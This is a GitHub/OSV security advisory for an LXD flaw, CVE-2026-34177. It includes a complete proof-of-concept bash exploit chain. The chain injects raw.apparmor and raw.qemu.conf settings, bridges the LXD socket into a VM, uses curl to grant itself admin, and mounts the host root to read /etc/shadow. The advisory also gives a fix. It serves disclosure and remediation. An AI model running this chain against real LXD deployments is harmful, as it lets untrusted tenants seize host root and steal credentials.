CVE-2026-34177: LXD VM Lowlevel Restriction Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fm2x-c5qw-4h6f",
  "modified" : "2026-04-10T19:21:00Z",
  "published" : "2026-04-10T19:21:00Z",
  "aliases" : [ "CVE-2026-34177" ],
  "summary" : "LXD: VM lowlevel restriction bypass via raw.apparmor and raw.qemu.conf",
  "details" : "## Summary\n\nThe `isVMLowLevelOptionForbidden` function in `lxd/project/limits/permissions.go` is missing `raw.apparmor` and `raw.qemu.conf` from its hardcoded forbidden list. A user with `can_edit` permission on a VM instance in a restricted project can combine these two omissions to bridge the LXD unix socket into the guest VM and gain full cluster administrator access. This bypasses the `restricted.virtual-machines.lowlevel=block` project restriction, which is the security control specifically designed to prevent raw config injection.\n\n## Details\n\n### Affected code\n\nThe enforcement point for VM lowlevel restrictions is `isVMLowLevelOptionForbidden` at `lxd/project/limits/permissions.go:924-926`:\n\n```go\nfunc isVMLowLevelOptionForbidden(key string) bool {\n    return slices.Contains([]string{\"boot.host_shutdown_timeout\", \"limits.memory.hugepages\", \"raw.idmap\", \"raw.qemu\"}, key)\n}\n```\n\nThis list is missing two security-critical config keys:\n\n- **`raw.apparmor`** -- allows injecting arbitrary AppArmor rules into the QEMU process confinement profile\n- **`raw.qemu.conf`** -- allows injecting arbitrary sections into the QEMU configuration file\n\nThe container equivalent (`isContainerLowLevelOptionForbidden` at line 916) correctly includes `raw.apparmor` in its forbidden list.\n\n### Attack mechanism\n\nBoth `raw.apparmor` and `raw.qemu.conf` are valid VM config keys (defined in `lxd/instance/instancetype/instance.go`). When a restricted user sets them on a VM in a project with `restricted.virtual-machines.lowlevel=block`, the entity config checker at line 779 calls `isVMLowLevelOptionForbidden` for each key, which returns `false` for both. The config is accepted without error.\n\nOn VM startup:\n\n1. `instanceProfile` (`lxd/apparmor/instance.go:150`) reads `raw.apparmor` from the expanded config and injects it verbatim into the QEMU AppArmor profile template (`lxd/apparmor/instance_qemu.go:114-118`). An attacker-supplied rule like `/var/snap/lxd/common/lxd/unix.socket rw,` grants the QEMU process read-write access to the LXD unix socket.\n\n2. `qemuRawCfgOverride` (`lxd/instance/drivers/driver_qemu_config_override.go:242`) reads `raw.qemu.conf` and appends new sections to the generated QEMU config.  The attacker adds a `[chardev]` section with `backend = \"socket\"` pointing at the LXD unix socket, and a `[device]` section creating a `virtserialport` connected to it.\n\n3. QEMU starts with `-readconfig` containing the injected drive definition. The QEMU process connects to `/var/snap/lxd/common/lxd/unix.socket` (permitted by the injected AppArmor rule) and exposes the connection as `/dev/virtio-ports/lxd.exploit` inside the VM.\n\nThe exposed socket grants full administrative access to the entire LXD cluster, which can be used to create privileged containers, mount the host root filesystem, and escape to host root.\n\n### Affected deployments\n\nAny LXD deployment where:\n\n- A project has `restricted=true` and `restricted.virtual-machines.lowlevel=block` (the default when `restricted=true`)\n- A user has `can_edit` on a VM instance in that project (also implied by project-level `operator`, `can_edit_instances`, or `instance_manager` entitlements)\n\nThe minimum required entitlements are `can_create_instances` (to create a VM), `can_edit` on the instance (to set config keys -- `lxc config set`), `can_update_state` (to start the VM), and `can_exec` (to read the block device from inside the VM). Any of the broader project-level roles (`operator`, `instance_manager`) include all of these.\n\nThis includes the `lxd-user` multi-user daemon (shipped in the LXD snap), which auto-creates restricted projects for system users, and any multi-tenant, lab, CI/CD, or hosting deployment using restricted projects. These users are explicitly untrusted -- the restriction model exists to safely confine them. The LXD documentation states that restricted projects \"prevent users from gaining root access\" (`doc/howto/projects_confine.md`).\n\n### Version\n\nTested and confirmed on LXD 6.7.\n\n## PoC\n\nThe exploit requires two roles: an admin who sets up the restricted environment (once), and a restricted user who exploits it.\n\n### Admin setup (run on the LXD host)\n\n```bash\n# Create restricted project\n# restricted.virtual-machines.lowlevel defaults to \"block\" when restricted=true\nlxc project create poc-restricted \\\n    -c features.profiles=true \\\n    -c features.images=false \\\n    -c restricted=true\n\n# Create default profile with storage and network\nlxc profile create default --project poc-restricted\nlxc profile device add default root disk path=/ pool=default --project poc-restricted\nlxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted\n\n# Create auth group with minimum entitlements needed for the exploit:\n#   can_view              - required to reference the project in other permissions\n#   can_create_instances  - create the VM\n#   can_edit_instances    - set config keys (implies can_edit on all instances)\n#   can_operate_instances - start the VM and exec into it (implies can_update_state + can_exec)\n# These are baseline permissions for any user who manages VMs in a project.\n# None of these grant permission to edit the project configuration itself.\nlxc auth group create vm-operators\nlxc auth group permission add vm-operators project poc-restricted can_view\nlxc auth group permission add vm-operators project poc-restricted can_create_instances\nlxc auth group permission add vm-operators project poc-restricted can_edit_instances\nlxc auth group permission add vm-operators project poc-restricted can_operate_instances\n\n# Create restricted user identity\nlxc auth identity create tls/alice --group vm-operators\n# Give the output token to alice\n```\n\n### Exploit (run as the restricted user \"alice\", from her own machine)\n\n```bash\n# Alice adds the remote using the token from admin setup\nlxc remote add target <token>\n\nREMOTE=\"target\"\nPROJECT=\"poc-restricted\"\nVM=\"poc-069\"\nSOCKET=\"/var/snap/lxd/common/lxd/unix.socket\"\n\n# Create a stopped VM\nlxc init ubuntu:22.04 ${REMOTE}:${VM} --vm --project ${PROJECT}\n\n# Inject AppArmor rule granting QEMU read-write access to the LXD unix socket.\n# raw.apparmor is NOT in isVMLowLevelOptionForbidden -- bypasses restriction.\nlxc config set ${REMOTE}:${VM} raw.apparmor \\\n    \"  ${SOCKET} rw,\" --project ${PROJECT}\n\n# Inject QEMU config: chardev connecting to unix socket, exposed as virtio-serial port.\n# raw.qemu.conf is also NOT in isVMLowLevelOptionForbidden.\nlxc config set ${REMOTE}:${VM} raw.qemu.conf '[chardev \"lxdsock\"]\nbackend = \"socket\"\npath = \"/var/snap/lxd/common/lxd/unix.socket\"\n\n[device \"lxdchan\"]\ndriver = \"virtserialport\"\nchardev = \"lxdsock\"\nbus = \"dev-qemu_serial.0\"\nname = \"lxd.exploit\"' --project ${PROJECT}\n\n# Start VM -- QEMU connects to the unix socket at startup.\nlxc start ${REMOTE}:${VM} --project ${PROJECT}\nsleep 30\n\n# Elevate privileges to admin\n# (add the \"admin\" entitlement to alice's group)\nlxc exec ${REMOTE}:${VM} --project ${PROJECT} -- bash -c '\napt install -y socat curl\nsocat UNIX-LISTEN:/tmp/lxd.sock GOPEN:/dev/virtio-ports/lxd.exploit &\nsleep 1\ncurl --unix-socket /tmp/lxd.sock http://localhost/1.0/auth/groups/vm-operators \\\n    -X PUT -H \"Content-Type: application/json\" \\\n    -d \"{\\\"description\\\":\\\"\\\",\\\"permissions\\\":[{\\\"entity_type\\\":\\\"server\\\",\\\"url\\\":\\\"/1.0\\\",\\\"entitlement\\\":\\\"admin\\\"}]}\"\n'\n\n# Create privileged container and mount root filesystem\nlxc init ubuntu:22.04 ${REMOTE}:pwn-root --project default\nlxc config set ${REMOTE}:pwn-root security.privileged=true --project default\nlxc config device add ${REMOTE}:pwn-root hostroot disk \\\n    source=/ path=/mnt/host --project default\nlxc start ${REMOTE}:pwn-root --project default\n\n# Full host root access\nlxc exec ${REMOTE}:pwn-root --project default -- cat /mnt/host/etc/shadow\n```\n\n## Impact\n\n**Privilege escalation from restricted project user to host root.**\n\nThe full attack chain is: restricted VM user --> `raw.apparmor` + `raw.qemu.conf` injection (bypasses `restricted.virtual-machines.lowlevel=block`) --> QEMU chardev bridges LXD unix socket into VM as virtio-serial device --> single HTTP request through chardev adds `admin` entitlement to attacker's own group --> attacker's existing CLI session is now full admin --> create privileged container with host root mount --> host root.\n\nThis affects any deployment using LXD's restricted project model for multi-tenant isolation. The attacker requires only `can_edit` on a VM instance -- the baseline permission needed to manage VM configuration, which restricted projects are explicitly designed to safely grant to untrusted users such as students in shared labs, tenants in hosting environments, or CI/CD agents.\n\nThe exploit is trivial, requires no misconfiguration, works against correctly configured restricted projects with default settings, and has no race conditions or reliability concerns.\n\n## Remediation\n\nAdd `raw.apparmor` and `raw.qemu.conf` to the forbidden list in `isVMLowLevelOptionForbidden`:\n\n```go\nfunc isVMLowLevelOptionForbidden(key string) bool {\n    return slices.Contains([]string{\n        \"boot.host_shutdown_timeout\",\n        \"limits.memory.hugepages\",\n        \"raw.apparmor\",\n        \"raw.idmap\",\n        \"raw.qemu\",\n        \"raw.qemu.conf\",\n    }, key)\n}\n```\n\n### Patches\n\n| LXD Series  | Interim release |\n| ------------- | ------------- |\n| 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1  |\n| 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1  |\n| 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |\n| 4.0  | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/canonical/lxd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.0.0-20210305023314-538ac3df036e"
      }, {
        "last_affected" : "0.0.0-20260226085519-736f34afb267"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/canonical/lxd/security/advisories/GHSA-fm2x-c5qw-4h6f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34177"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/canonical/lxd/pull/17909"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/canonical/lxd"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:21:00Z",
    "nvd_published_at" : "2026-04-09T10:16:21Z"
  }
}